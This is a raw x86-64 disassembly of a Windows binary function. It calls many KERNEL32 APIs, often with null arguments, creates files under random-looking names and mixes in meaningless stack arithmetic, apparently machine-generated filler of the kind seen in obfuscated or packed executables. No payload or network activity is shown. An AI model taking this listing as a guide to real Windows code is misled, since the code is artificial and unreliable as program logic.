mov rcx, qword [rsp + 0xdba0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x2cb]
movsx ecx, byte [rsp + 0x40a]
or eax, ecx
mov byte [rsp + 0x3d3], al
mov rax, qword [rsp + 0xe0c8]
movzx eax, word [rax]
mov word [rsp + 0x2840], ax
mov rax, qword [rsp + 0xd998]
movzx eax, word [rax]
movzx ecx, word [0x1401c8c80]
xor eax, ecx
mov word [rsp + 0x2010], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.HkUVjRV3adLGS50RNqJl9sf
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xef30], rax
mov rax, qword [rsp + 0xeaf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe100]
and rcx, rax
mov rax, rcx
mov qword [0x1401c72b0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0xd868]
movzx eax, word [rax]
mov rcx, qword [0x1401c8b60]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x19a4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
lea rcx, str.BVih.GyKtWNOk_tqhX_Vx
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2844], ax
mov rax, qword [rsp + 0xbd08]
mov rcx, qword [rsp + 0x9b28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe790]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd610]
mov rcx, qword [rsp + 0xe268]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0xeb98], rax
lea rax, [0x1401c8b70]
mov qword [rsp + 0xef38], rax
mov rcx, qword [rsp + 0xda20]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov rax, qword [rsp + 0xe730]
mov ecx, dword [rsp + 0x6878]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5be8], eax
lea rcx, [rsp + 0x20338]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, 0x245f
mov rcx, qword [rsp + 0xdb30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6ba8], eax
mov rax, qword [rsp + 0xd500]
movzx eax, byte [rax]
mov byte [rsp + 0x434], al
mov r9d, 1
lea r8, [rsp + 0xd8c8]
mov rdx, qword [rsp + 0xd8c8]
mov rcx, qword [rsp + 0xd1a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6534], eax
mov eax, dword [0x1401c8a20]
movzx ecx, al
mov eax, dword [rsp + 0x6440]
sar eax, cl
mov dword [rsp + 0x6570], eax
mov rax, qword [rsp + 0xce18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3c6]
shl eax, cl
mov byte [rsp + 0x2c5], al
mov rax, qword [rsp + 0xd528]
movzx eax, word [rax]
mov word [0x1401c8fa8], ax
mov rcx, qword [rsp + 0xc3b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, str.1fzzv
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2848], ax
lea rcx, [rsp + 0x1d958]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx ecx, word [rsp + 0x23b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x239c], ax
mov rax, qword [rsp + 0xd9f0]
movsx eax, word [rax]
movsx ecx, word [0x1401c7054]
or eax, ecx
mov word [rsp + 0xa34], ax
movzx eax, word [rsp + 0x868]
mov rcx, qword [rsp + 0xdfd0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xde60]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe380], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6bac], eax
mov rcx, qword [rsp + 0xe328]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62b0], eax
lea rax, [rsp + 0x25d0]
mov qword [rsp + 0xef40], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc0b8], rax
mov rax, qword [rsp + 0xeb78]
mov rcx, qword [rsp + 0xee60]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x686c], eax
movsx eax, byte [rsp + 0x13e]
movsx ecx, byte [rsp + 0x17d]
add eax, ecx
mov byte [rsp + 0x245], al
mov rax, qword [rsp + 0x9aa0]
mov qword [rsp + 0xef48], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x20bd8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc6b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xee8]
add eax, ecx
mov word [rsp + 0x2198], ax
movzx eax, word [rsp + 0x16b8]
mov rcx, qword [rsp + 0xc4a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15fc], ax
mov rax, qword [0x1401c7128]
mov rcx, qword [rsp + 0xe260]
add rcx, rax
mov rax, rcx
mov qword [0x1401c8c20], rax
mov rax, qword [rsp + 0xc540]
mov rcx, qword [rsp + 0xc868]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc898], rax
mov rax, qword [rsp + 0xdbf0]
mov rax, qword [rax]
mov qword [rsp + 0xef50], rax
mov rax, qword [rsp + 0xd610]
mov rcx, qword [0x1401c8a60]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xbf88], rax
lea rcx, [rsp + 0x20038]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x20f8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2430], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xef58], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
movzx ecx, word [rsp + 0x1f30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20e0], ax
lea rcx, [rsp + 0x20d28]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
movzx eax, word [rsp + 0x1c14]
movzx ecx, word [rsp + 0x924]
shl eax, cl
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov rax, qword [rsp + 0xd650]
mov eax, dword [rax]
mov dword [rsp + 0x6bb0], eax
mov rax, qword [rsp + 0xe0d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe368]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x384], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
lea rcx, [rsp + 0x20d58]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xcea8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd28]
mov qword [rsp + 0xef60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xef60]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xad40], rax
lea rdx, [rsp + 0x26530]
mov rcx, qword [rsp + 0xe128]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x66bc], eax
mov rax, qword [rsp + 0xcce8]
movsx eax, byte [rax]
mov rcx, qword [0x1401c8be8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x387], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.5JzHGtJW_ss5oNax0eCAXxKmpFJy1OAUOXNlt3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xef68], rax
mov eax, dword [rsp + 0x6a5c]
mov dword [0x1401c8fac], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2374]
shl eax, cl
mov word [rsp + 0x1d58], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
movzx eax, word [rsp + 0x25d4]
mov word [rsp + 0x284c], ax
movzx eax, word [0x1401c8df0]
movzx ecx, word [rsp + 0x1eb0]
or eax, ecx
mov word [rsp + 0x14f8], ax
mov rax, qword [rsp + 0xee88]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa800]
sar rax, cl
mov qword [rsp + 0xb9c0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
lea rcx, [rsp + 0x205a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xe030]
mov rcx, qword [0x1401c8c78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xeb90], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x5ab8]
mov ecx, dword [rsp + 0x5bc4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a40], eax
lea rdx, [rsp + 0x263e0]
mov rcx, qword [rsp + 0xed78]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6580], eax
mov rax, qword [rsp + 0xcea0]
movzx eax, byte [rax]
mov byte [rsp + 0x435], al
mov rax, qword [rsp + 0xeb20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd9f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc408]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
lea rcx, str.4c4uEiiY_K9i9Djh
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2850], ax
mov rax, qword [rsp + 0xd998]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcef8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401c8f44], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6698], eax
lea rcx, [rsp + 0x208d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rcx, qword [rsp + 0xd670]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6900], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xef70], rax
lea rcx, [rsp + 0x20a58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc500]
mov qword [rsp + 0xef78], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc2d0], rax
movzx eax, word [0x1401c8d00]
mov rcx, qword [rsp + 0xce38]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2644], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe4f0], rax
mov eax, dword [rsp + 0x6b28]
movzx ecx, al
mov eax, dword [rsp + 0x5790]
sar eax, cl
mov dword [rsp + 0x5c30], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6bb4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov r9d, 2
lea r8, [rsp + 0xc318]
mov rdx, qword [rsp + 0xc318]
mov rcx, qword [rsp + 0xd9d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6bb8], eax
movzx ecx, word [rsp + 0x1f10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x231c], ax
lea rcx, [rsp + 0x1fee8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xef80], rax
mov r9d, 1
lea r8, [rsp + 0xe0a0]
mov rdx, qword [rsp + 0xda00]
mov rcx, qword [rsp + 0xe650]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6840], eax
mov rcx, qword [rsp + 0xe420]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6bbc], eax
movzx eax, byte [rsp + 0x42c]
movzx ecx, byte [rsp + 0x2aa]
or eax, ecx
mov byte [rsp + 0x116], al
mov rax, qword [rsp + 0xd170]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1fb]
shl eax, cl
mov byte [rsp + 0x38b], al
mov rax, qword [rsp + 0xdc88]
mov qword [rsp + 0xef88], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6b70], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov rax, qword [rsp + 0xda18]
mov ecx, dword [rsp + 0x58ec]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x570c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
movsx eax, word [rsp + 0x1898]
movsx ecx, word [rsp + 0xb84]
sub eax, ecx
mov word [rsp + 0x1a44], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6b24], eax
movzx eax, word [rsp + 0x2120]
mov rcx, qword [rsp + 0xdd00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401c8ad0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x22e4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21b4], ax
mov rax, qword [rsp + 0xcc38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe6d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcf58]
mov rax, qword [rax]
imul rax, qword [rsp + 0xbd48]
mov rcx, qword [rsp + 0xd2b8]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [0x1401c8bb4]
mov qword [rsp + 0xef90], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.noZBVlqvoNJTQk
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xef98], rax
movzx eax, word [rsp + 0x1840]
movzx ecx, word [rsp + 0x20c4]
sar eax, cl
mov word [rsp + 0x2554], ax
lea rcx, [rsp + 0x1d5e8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rsp + 0xcc28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc6e8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.DGZVqlj8LWP
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xefa0], rax
mov edx, 0x8cc
mov rcx, qword [rsp + 0xc048]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6680], eax
mov rax, qword [rsp + 0xcf18]
mov rax, qword [rax]
mov qword [rsp + 0xefa8], rax
mov rax, qword [rsp + 0xcd18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e5]
shl eax, cl
mov byte [rsp + 0x3d6], al
mov eax, dword [rsp + 0x59c8]
mov ecx, dword [rsp + 0x685c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xee60]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc3a0]
mov rax, qword [rax]
mov qword [rsp + 0xefb0], rax
mov rax, qword [rsp + 0xd630]
movsx eax, word [rax]
movsx ecx, word [0x1401c71c4]
add eax, ecx
mov word [0x1401c72b8], ax
lea rcx, [rsp + 0x1fc78]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0x22c4]
mov rcx, qword [rsp + 0xd578]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfdc], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6bc0], eax
mov rax, qword [rsp + 0xdb00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x290]
imul eax, ecx
mov byte [rsp + 0x342], al
mov eax, dword [rsp + 0x68ec]
mov ecx, dword [rsp + 0x61b8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6470], eax
mov rax, qword [rsp + 0xec48]
mov rcx, qword [rsp + 0xbb50]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xeb58]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x658c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0xe768]
mov qword [rsp + 0xefb8], rax
mov rax, qword [rsp + 0xcfa8]
mov ecx, dword [rsp + 0x6490]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6784], eax
movzx ecx, word [rsp + 0x1fa4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2854], ax
movsx eax, byte [rsp + 0x29f]
movsx ecx, byte [rsp + 0x407]
sar eax, cl
mov byte [rsp + 0x127], al
movsx eax, word [0x1401c8d2c]
mov rcx, qword [rsp + 0xe0c8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1f68], ax
lea rax, [rsp + 0x27c0]
mov qword [0x1401c8fb0], rax
mov rax, qword [rsp + 0xeb38]
mov qword [rsp + 0xefc0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6698], eax
lea rdx, [rsp + 0x26808]
mov rcx, qword [rsp + 0xdb48]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x69f4], eax
lea rcx, str.1_QtClbY.8_zO
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x27a0], ax
mov rax, qword [rsp + 0xd760]
movzx eax, word [rax]
mov rcx, qword [0x1401c8d08]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xe9d0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
movsx eax, word [rsp + 0x1d94]
movsx ecx, word [rsp + 0x2168]
add eax, ecx
mov word [rsp + 0x11dc], ax
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov qword [rsp + 0xefc8], rax
movsx eax, byte [rsp + 0x387]
movsx ecx, byte [0x1401c8a13]
add eax, ecx
mov byte [rsp + 0x4b], al
lea rax, [rsp + 0xe8b0]
mov qword [rsp + 0xefd0], rax
lea rcx, [rsp + 0x1fd08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0xecb0]
mov rcx, qword [rsp + 0xe6d0]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6878], eax
mov rax, qword [0x1401c8d08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1800]
sub eax, ecx
mov rcx, qword [rsp + 0xea50]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd1d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xaf58]
sar rax, cl
mov qword [0x1401c7088], rax
mov rax, qword [rsp + 0xe410]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd500]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x294], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6bac], eax
mov rax, qword [rsp + 0xc6a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5c0c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5b70], eax
mov rax, qword [rsp + 0xc4e0]
movzx eax, word [rax]
mov word [rsp + 0x2858], ax
mov rax, qword [rsp + 0xd580]
movzx eax, word [rax]
movzx ecx, word [0x1401c71a0]
add eax, ecx
mov rcx, qword [rsp + 0xd390]
mov word [rcx], ax
mov rax, qword [rsp + 0xdfb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5be4], eax
lea rdx, [rsp + 0x26648]
mov rcx, qword [rsp + 0xe518]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6b54], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x380]
mov rcx, qword [rsp + 0xcba0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1e1], al
mov rax, qword [0x1401c8f38]
mov rcx, qword [rsp + 0xca20]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xd240], rax
mov rax, qword [rsp + 0xe670]
movzx eax, word [rax]
mov word [rsp + 0x285c], ax
mov rax, qword [rsp + 0xeba0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x17e4]
sar eax, cl
mov word [0x1401c8b78], ax
mov rax, qword [rsp + 0xa968]
movzx ecx, al
mov rax, qword [rsp + 0xb210]
shl rax, cl
mov qword [rsp + 0xe2c8], rax
mov rax, qword [rsp + 0xc680]
mov rcx, qword [rsp + 0xc620]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa4e0], rax
movzx ecx, word [rsp + 0x2078]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f5c], ax
mov rax, qword [rsp + 0xcd68]
mov rcx, qword [0x1401c8f88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xeb98], rax
mov r9d, 0x15ce
xor r8d, r8d
lea rdx, [rsp + 0xcc70]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x62b8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6bc4], eax
xor r9d, r9d
lea r8, [rsp + 0xc578]
mov rdx, qword [rsp + 0xc480]
mov rcx, qword [rsp + 0xcee0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6b00], eax
lea rcx, str.MiVRb_UWQ7L
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2860], ax
mov rax, qword [rsp + 0xe578]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xeb30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2100], ax
movzx ecx, word [rsp + 0x224c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f10], ax
mov rax, qword [rsp + 0xe498]
mov qword [rsp + 0xefd8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xda70], rax
xor r9d, r9d
lea r8, [rsp + 0xd748]
mov rdx, qword [rsp + 0xc190]
mov rcx, qword [rsp + 0xc598]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6bc8], eax
mov rcx, qword [rsp + 0xe1e0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [0x1401c8d60]
imul eax, dword [rax], 0x21a9
mov dword [rsp + 0x6970], eax
movzx eax, byte [rsp + 0x3ab]
mov byte [rsp + 0x436], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [rsp + 0xd940]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3c5]
add eax, ecx
mov byte [rsp + 0x405], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xefe0], rax
lea rdx, [rsp + 0x26220]
mov rcx, qword [rsp + 0xef30]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x676c], eax
movzx ecx, word [rsp + 0x21d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2864], ax
mov eax, dword [rsp + 0x65a4]
mov ecx, dword [0x1401c8a20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6674], eax
movzx eax, word [rsp + 0x1cac]
mov word [0x1401c8fb8], ax
mov rax, qword [rsp + 0xcdf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xda68]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1360], ax
movzx eax, word [rsp + 0x209c]
mov rcx, qword [rsp + 0xd740]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1f0c], ax
mov rax, qword [rsp + 0x9c70]
mov qword [rsp + 0xefe8], rax
movsx eax, byte [rsp + 0x3e3]
mov rcx, qword [rsp + 0xc668]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1e8], al
mov rax, qword [rsp + 0xd778]
mov rcx, qword [rsp + 0xc590]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xcb90], rax
lea rax, [rsp + 0x698c]
mov qword [rsp + 0xeff0], rax
mov r9d, 2
lea r8, [rsp + 0xccd0]
mov rdx, qword [rsp + 0xc5d0]
mov rcx, qword [rsp + 0xde70]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x65bc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xeff8], rax
movzx ecx, word [rsp + 0x1fe4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2670], ax
mov r9d, 0x241a
xor r8d, r8d
lea rdx, [rsp + 0xe910]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6430], eax
movsx eax, word [rsp + 0x2024]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1608], ax
movzx eax, word [rsp + 0x1aa0]
movzx ecx, word [rsp + 0x25b4]
sub eax, ecx
mov word [rsp + 0xb5c], ax
mov rax, qword [rsp + 0xc3a0]
mov rcx, qword [rsp + 0xecf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401c72c0], rax
movzx eax, word [0x1401c7158]
mov rcx, qword [rsp + 0xd4d8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc900]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xf000], rax
mov rax, qword [rsp + 0xeaa0]
mov rcx, qword [rsp + 0xe6d8]
mov qword [rsp + 0xf008], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf008]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xbb20], rax
mov rax, qword [rsp + 0xe870]
mov rax, qword [rax]
mov qword [rsp + 0xf010], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6af4], eax
movzx ecx, word [rsp + 0x239c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
